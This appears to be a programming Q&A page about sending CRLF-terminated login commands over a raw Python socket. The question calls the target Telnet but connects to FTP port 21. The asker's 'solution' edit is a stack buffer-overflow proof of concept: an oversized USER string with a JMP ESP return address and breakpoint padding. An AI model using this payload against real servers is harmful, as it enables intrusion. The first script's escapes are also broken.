Search code examples
pythontelnet

Python simulate enter key


I wrote a simple Python script, which should connect to Telnet server, using a username and password.

The script is following:

#!/usr/bin/python

import sys
import socket

hostname = sys.argv[1]
password = "whatever"
username = "whatever"


connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

    connect.connect((hostname, 21))


except:
        print "[-] connection error"
response = connect.recv(2000)
print response
sys.exit(1)


connect.send("user %s\%r\%n" %username)
response = connect.recv(2000)
print response



connect.send("pass %\%r\%n" %password)
response = connect.recv(2000)
print response



connect.close()

The Error is:

The connection is working but i can't simulate the enter key with:

connect.send("user %s\%r\%n" %username)
response = connect.recv(2000)
print response



connect.send("pass %\%r\%n" %password)
response = connect.recv(2000)
print response

So why it doesn't work? Thanks :)

EDIT SOLUTION:

#!/usr/bin/python

import sys
import socket




hostname = sys.argv[1]
password = "whatever"


jmpesp= "\xED\x1E\x94\x7C"

username = "A"*485 + jmpesp + "\xcc"*(1024 - 485 - 4)


connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

    connect.connect((hostname, 21))


except:


    print "[-] Verbindungs Fehler"
    response = connect.recv(2000)
    print response
    sys.exit(1)


connect.send("user %s\r\n" %username)
response = connect.recv(2000)
print response

connect.send("user %s\r\n" %password)
response = connect.recv(2000)
print response








connect.close()

Solution

  • Python includes a library for telnet: telnetlib

    Did you have a look at that one? https://docs.python.org/2/library/telnetlib.html#module-telnetlib

    There is also an example how to use it:

    import getpass
    import sys
    import telnetlib
    
    HOST = "localhost"
    user = raw_input("Enter your remote account: ")
    password = getpass.getpass()
    
    tn = telnetlib.Telnet(HOST)
    
    tn.read_until("login: ")
    tn.write(user + "\n")
    if password:
        tn.read_until("Password: ")
        tn.write(password + "\n")
    
    tn.write("ls\n")
    tn.write("exit\n")
    
    print tn.read_all()